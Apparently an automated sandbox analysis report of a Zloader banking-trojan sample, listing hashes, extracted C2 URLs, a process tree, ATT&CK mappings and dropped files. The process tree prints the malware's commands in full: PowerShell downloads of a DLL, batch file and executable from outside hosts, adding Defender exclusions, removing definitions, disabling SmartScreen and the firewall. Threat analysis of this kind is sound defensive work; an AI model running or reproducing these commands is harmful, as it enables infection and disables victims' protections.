Analysis

  • max time kernel
    31s
  • max time network
    102s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    01-08-2021 14:13

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    start.EXE

  • Size

    165KB

  • MD5

    4a53c91d743e8f9b6551893011d04966

  • SHA1

    04e949d7d92e86c07a1e0bc72ae39cf2f950f0d6

  • SHA256

    243b5b84bb63e98fb3d54e4e1d8592c367540a79f677a464f2c2ea5491f4c90f

  • SHA512

    5614a48c1007193c8b6425e7856d68aa60d8c7e2fc5a7875cb6ce92500e176b21584399eb38f1b34dda82e3880cbac1fca1882d09d8265df4107383e21c54d52

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

C2

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php

rc4.plain
rsa_pubkey.plain

Signatures

  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\start.EXE
    "C:\Users\Admin\AppData\Local\Temp\start.EXE"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3920
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c start.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest https://qmumdjffuiocstjfmdqt.com/JavaN.dll -OutFile JavaN.dll
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1776
      • C:\Windows\system32\regsvr32.exe
        regsvr32 JavaN.dll
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\SysWOW64\regsvr32.exe
          JavaN.dll
          4⤵
          • Loads dropped DLL
          PID:1684
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe
            5⤵
              PID:2496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://qmumdjffuiocstjfmdqt.com/nsudo.bat -OutFile nsudo.bat
          3⤵
            PID:2796
          • C:\Windows\system32\cmd.exe
            cmd /c nsudo.bat
            3⤵
              PID:1972
              • C:\Windows\system32\cacls.exe
                "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
                4⤵
                  PID:804
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Invoke-WebRequest https://objtqwwsimibwcmnkrqw.com/javase.exe -OutFile javase.exe
                  4⤵
                    PID:1404
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionProcess '"C:\Users\Admin\AppData\Roaming'"
                    4⤵
                      PID:3592
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32""
                      4⤵
                        PID:3136
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -command "Add-MpPreference -ExclusionProcess ".exe""
                        4⤵
                          PID:928
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -command "Add-MpPreference -ExclusionProcess "iexplorer.exe""
                          4⤵
                            PID:1640
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -command "Add-MpPreference -ExclusionProcess "explorer.exe""
                            4⤵
                              PID:3136
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -command "Add-MpPreference -ExclusionProcess ".dll""
                              4⤵
                                PID:3592
                              • C:\Users\Admin\AppData\Roaming\javase.exe
                                javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
                                4⤵
                                  PID:584
                                • C:\Users\Admin\AppData\Roaming\javase.exe
                                  javase -U:T -ShowWindowMode:Hide icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
                                  4⤵
                                    PID:1536
                                  • C:\Program Files\Windows Defender\MpCmdRun.exe
                                    MpCmdRun -RemoveDefinitions
                                    4⤵
                                      PID:4088
                                    • C:\Program Files\Windows Defender\MpCmdRun.exe
                                      MpCmdRun -RemoveDefinitions -Engine
                                      4⤵
                                        PID:8
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -command "netsh advfirewall set allprofiles state off"
                                        4⤵
                                          PID:1296
                                          • C:\Windows\system32\netsh.exe
                                            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                            5⤵
                                              PID:3788
                                          • C:\Windows\system32\shutdown.exe
                                            shutdown.exe /r /t 00
                                            4⤵
                                              PID:388
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Restart-Computer
                                              4⤵
                                                PID:1772
                                        • C:\Windows\system32\LogonUI.exe
                                          "LogonUI.exe" /flags:0x0 /state0:0xa3acd855 /state1:0x41c64e6d
                                          1⤵
                                            PID:852

                                          Network

                                          MITRE ATT&CK Matrix ATT&CK v6

                                          Persistence

                                          Modify Existing Service

                                          1
                                          T1031

                                          Registry Run Keys / Startup Folder

                                          1
                                          T1060

                                          Defense Evasion

                                          Modify Registry

                                          1
                                          T1112

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                            MD5

                                            56efdb5a0f10b5eece165de4f8c9d799

                                            SHA1

                                            fa5de7ca343b018c3bfeab692545eb544c244e16

                                            SHA256

                                            6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

                                            SHA512

                                            91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            f7344917f4158a8ef6264dfd5ec7825e

                                            SHA1

                                            4c02001b020e41c2d3f61eef0e535fcc3ccbce50

                                            SHA256

                                            fb22ee01affa2b936b365ac7a783251b9c3677f5858fe439a749737a41292dbd

                                            SHA512

                                            abee904f01171c8e2f3988746066be3b018f9d79b2a4c8dc0abbf41d99671e0bba9f4275b29b0e00b32eb44d83205387fe3184ec86e72eeab88dd0b3d2f9ca0a

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            df4d2f0f806e5d9a39e531e4e563845c

                                            SHA1

                                            d260b6ed3880aefb56224a19598ccdfefba615a4

                                            SHA256

                                            16c3f0586b1e443adcd11cd3faebe46b5a15b6a452ad9d0ad92034bb9d1b3ff0

                                            SHA512

                                            82fde55d2a59b3a8b655f3174d53bf961527432ee8ee0e6a6089c562c56bb3fc469508e9706cfeeb1a3d328aaff03c0ae1f168c7ecb6977ae3fbb1246fbb60be

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            490358c626e163e8cfd8e31a716b5e40

                                            SHA1

                                            cda2e838aeafa043e3da2512ae3d19fadf064167

                                            SHA256

                                            2ed758eb7f40fc54df8a4215f91871ec1d58d61743195ad44328aafe385914d3

                                            SHA512

                                            c9633d7d4fdd78d5d64924caa0892407a04f122340058bf246a846a90a4ff0db0059372e2edb726e0ad75d3955eddd836fbb7666f63f4289a634c6bc0f294f94

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            2f697e3f92c0a98bf8b63cad323b8872

                                            SHA1

                                            3fafe03f526f2837573ef2214b25de1a08b8d3e7

                                            SHA256

                                            652c4ce21094b6d414379dbb29d6befe488b5d08e079d9265018f81bb70937e2

                                            SHA512

                                            f6c6ddf7537b6c49852768a110c7d298fbc40fa4eff8902c84546786789f694e161095bd9a288a0b9d355301572fcc5c5e21e56dac36d0e153626abb7b675104

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            77fed1cc5c5166740e0e04975f64b171

                                            SHA1

                                            67c47b610836200f6003fce22b648ce0696260bf

                                            SHA256

                                            ed7a1e4b04a2c1d9ef86ae6fb2c7642ef3489bd76c3a0bf8308afbf61161a769

                                            SHA512

                                            7132e5fae382c51bd0a78be2357bd8300107558e3e4426a8de96dcd7f05970d7bd42be0c542f20f58582ae6640b4086677053050a3f1ff4cdb5db2130cbe237d

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            7de54f12281ba91ec64917853a282624

                                            SHA1

                                            9584eae25a38e81c6b4ade6e820eca49a3c31241

                                            SHA256

                                            50f4d3258eb760f5cea762932c8af61df6934a561857c8d827cbc6746ba6df37

                                            SHA512

                                            bc8daa14403714713a06edbefc167ca15b95fa1998984688f1adb84b264b5f7f248c27790259c11a115b378a031891db659785356636526f74182bc1f9f0de64

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            183d9d22d40c1ab1e8d6f008b53477de

                                            SHA1

                                            7e3e32de50e5e14c38d9b056c3ae01a4c22b5c06

                                            SHA256

                                            0477774baf7e8b5b46dbe104a971a42a1272443c6740238924aca3d9fb83d2db

                                            SHA512

                                            bcddbdd5b3f0a75d1997473490b09a6a082e061f3a13365cd0f2856110f8075f4e6db842c9871d03677c7b4192316c475146ca93a17cbdf80636db3bc1d7ea35

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            968504d7cacafe7167271ff79a4fd277

                                            SHA1

                                            cd01083bff3a580baa8a097b4520ef9e75e1278c

                                            SHA256

                                            31cce5ba8614ef26951bcadf2728ee20f8d37f8c675b886233606dff1fe2ebfd

                                            SHA512

                                            4c8641800c368c8fa753a54dd8617dfc97527b81775c0cb56fee4b77111d36fa0cd87b49a136dfa3ea6e92937f38d3425585faa3d45eca87d89cba52758f0872

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                            MD5

                                            447be9ebfadb3c3cb4da566c6cb0e42a

                                            SHA1

                                            afb8b37cab651cc393edc403261dad4868e82e85

                                            SHA256

                                            ba8cf998c0d7ad902c8d4f1918532db907a78d3823fe29a37b7d19e776e3b475

                                            SHA512

                                            b7155ca37dcc429131d2a26a83efc2c844744f98c11b150104e4ee45c50e129b38b0c82143c40b71800dce2fba2a0cb88fd096830623fa6b5550681b440c1c43

                                          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat
                                            MD5

                                            39d3cb1f3eeeb8dcc30fe4bcb7b69118

                                            SHA1

                                            f3ba55d96e44102e2f4f55169d3ad4f0250cb4ce

                                            SHA256

                                            fe1d4880e9c6906690a10089700473011517aeb5763b0c3b74b7ab6fa71d32f9

                                            SHA512

                                            69249e519060b980407a5973e8dc12353d7a7ab217c598255aa5d83bdd73562ceb5bac7425bfe7981ecf90c5723bfa84323c777b7269c78b3e8b200b3cee78b9

                                          • C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
                                            MD5

                                            ea96962aa92b9271cacf64113e773aed

                                            SHA1

                                            f57c95747d6655dd0904371053bf8f707ade8056

                                            SHA256

                                            b2b6b6e2cdf2bf4c3af67e9d1fa17eba45e113fd3821f46797724644f1bdaaf8

                                            SHA512

                                            78b9296bb1cbe1191999ee2043fc2280e55c66033d57385c41a1cd03ff70dc37ebdb6a4a642d8b04303e84b85921e0090a01a261a37dc24330d7ef99b7b0fa41

                                          • C:\Users\Admin\AppData\Roaming\JavaN.dll
                                            MD5

                                            348d6fd40a9e79a681048999873af548

                                            SHA1

                                            069f292e298dabc97a7946c25b8833abf0783dc1

                                            SHA256

                                            6819b89e1dba92ee4c6eaa7e35880a6d8e1b51047ec4fed392d29a9aeb8e36b7

                                            SHA512

                                            7d75ff10763fbf72f0b6a13dbb8f429b6820379f118afd303dad2e2e9c358ea1d220a3afe05d5d949608ee39135f86b27dede86c9062b0ee5b98d0b1591b001e

                                          • C:\Users\Admin\AppData\Roaming\javase.exe
                                            MD5

                                            5cae01aea8ed390ce9bec17b6c1237e4

                                            SHA1

                                            3a80a49efaac5d839400e4fb8f803243fb39a513

                                            SHA256

                                            19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                            SHA512

                                            c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                                          • C:\Users\Admin\AppData\Roaming\javase.exe
                                            MD5

                                            5cae01aea8ed390ce9bec17b6c1237e4

                                            SHA1

                                            3a80a49efaac5d839400e4fb8f803243fb39a513

                                            SHA256

                                            19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

                                            SHA512

                                            c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

                                          • C:\Users\Admin\AppData\Roaming\nsudo.bat
                                            MD5

                                            751d7686d93c66a71f07b3437348d632

                                            SHA1

                                            5643bed79a4beb1ac278994ca1e32dc3208da97b

                                            SHA256

                                            4cb46cf91fd3d098c0405db0044654c15368e971a3943d47829862ecef994829

                                            SHA512

                                            3fbee16d97727cac9a7ab389e650491ef722f908968bd0ee9d21aea86ad8ee838c14282e61188fd18db6226fb5be366d3a46c91aedbff7895ec1b91ab1e9e1f9

                                          • \Users\Admin\AppData\Roaming\JavaN.dll
                                            MD5

                                            348d6fd40a9e79a681048999873af548

                                            SHA1

                                            069f292e298dabc97a7946c25b8833abf0783dc1

                                            SHA256

                                            6819b89e1dba92ee4c6eaa7e35880a6d8e1b51047ec4fed392d29a9aeb8e36b7

                                            SHA512

                                            7d75ff10763fbf72f0b6a13dbb8f429b6820379f118afd303dad2e2e9c358ea1d220a3afe05d5d949608ee39135f86b27dede86c9062b0ee5b98d0b1591b001e

                                          • memory/8-433-0x0000000000000000-mapping.dmp
                                          • memory/388-449-0x0000000000000000-mapping.dmp
                                          • memory/584-427-0x0000000000000000-mapping.dmp
                                          • memory/804-172-0x0000000000000000-mapping.dmp
                                          • memory/896-114-0x0000000000000000-mapping.dmp
                                          • memory/928-284-0x000001B49EE20000-0x000001B49EE22000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/928-272-0x0000000000000000-mapping.dmp
                                          • memory/928-285-0x000001B49EE23000-0x000001B49EE25000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/928-310-0x000001B49EE26000-0x000001B49EE28000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/928-312-0x000001B49EE28000-0x000001B49EE29000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/1296-435-0x0000000000000000-mapping.dmp
                                          • memory/1296-446-0x000001BF71640000-0x000001BF71642000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1296-447-0x000001BF71643000-0x000001BF71645000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1296-451-0x000001BF71646000-0x000001BF71648000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1404-189-0x000001AF65D93000-0x000001AF65D95000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1404-190-0x000001AF65D96000-0x000001AF65D98000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1404-188-0x000001AF65D90000-0x000001AF65D92000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1404-173-0x0000000000000000-mapping.dmp
                                          • memory/1536-430-0x0000000000000000-mapping.dmp
                                          • memory/1640-309-0x0000000000000000-mapping.dmp
                                          • memory/1640-348-0x0000016988188000-0x0000016988189000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/1640-339-0x0000016988180000-0x0000016988182000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1640-341-0x0000016988186000-0x0000016988188000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1640-340-0x0000016988183000-0x0000016988185000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1684-141-0x0000000002990000-0x00000000029B3000-memory.dmp
                                            Filesize

                                            140KB

                                          • memory/1684-139-0x0000000000000000-mapping.dmp
                                          • memory/1684-142-0x0000000010000000-0x0000000010043000-memory.dmp
                                            Filesize

                                            268KB

                                          • memory/1772-450-0x0000000000000000-mapping.dmp
                                          • memory/1776-130-0x000002225CE00000-0x000002225CE02000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1776-131-0x000002225CE03000-0x000002225CE05000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1776-132-0x000002225CE06000-0x000002225CE08000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/1776-116-0x0000000000000000-mapping.dmp
                                          • memory/1776-122-0x0000022275CC0000-0x0000022275CC1000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/1776-125-0x0000022275E70000-0x0000022275E71000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/1972-170-0x0000000000000000-mapping.dmp
                                          • memory/2132-137-0x0000000000000000-mapping.dmp
                                          • memory/2496-162-0x0000000000400000-0x0000000000426000-memory.dmp
                                            Filesize

                                            152KB

                                          • memory/2496-143-0x0000000000000000-mapping.dmp
                                          • memory/2796-165-0x00000136F4C36000-0x00000136F4C38000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/2796-164-0x00000136F4C33000-0x00000136F4C35000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/2796-163-0x00000136F4C30000-0x00000136F4C32000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/2796-146-0x0000000000000000-mapping.dmp
                                          • memory/3136-270-0x00000214E38D8000-0x00000214E38D9000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/3136-350-0x0000000000000000-mapping.dmp
                                          • memory/3136-233-0x0000000000000000-mapping.dmp
                                          • memory/3136-245-0x00000214E38D0000-0x00000214E38D2000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3136-246-0x00000214E38D3000-0x00000214E38D5000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3136-269-0x00000214E38D6000-0x00000214E38D8000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3136-380-0x000001AA1A206000-0x000001AA1A208000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3136-393-0x000001AA1A208000-0x000001AA1A209000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/3136-378-0x000001AA1A200000-0x000001AA1A202000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3136-379-0x000001AA1A203000-0x000001AA1A205000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-429-0x00000255F1238000-0x00000255F1239000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/3592-388-0x0000000000000000-mapping.dmp
                                          • memory/3592-423-0x00000255F1236000-0x00000255F1238000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-394-0x00000255F1230000-0x00000255F1232000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-395-0x00000255F1233000-0x00000255F1235000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-209-0x0000023975D06000-0x0000023975D08000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-201-0x0000023975D03000-0x0000023975D05000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-200-0x0000023975D00000-0x0000023975D02000-memory.dmp
                                            Filesize

                                            8KB

                                          • memory/3592-195-0x0000000000000000-mapping.dmp
                                          • memory/3788-445-0x0000000000000000-mapping.dmp
                                          • memory/4088-432-0x0000000000000000-mapping.dmp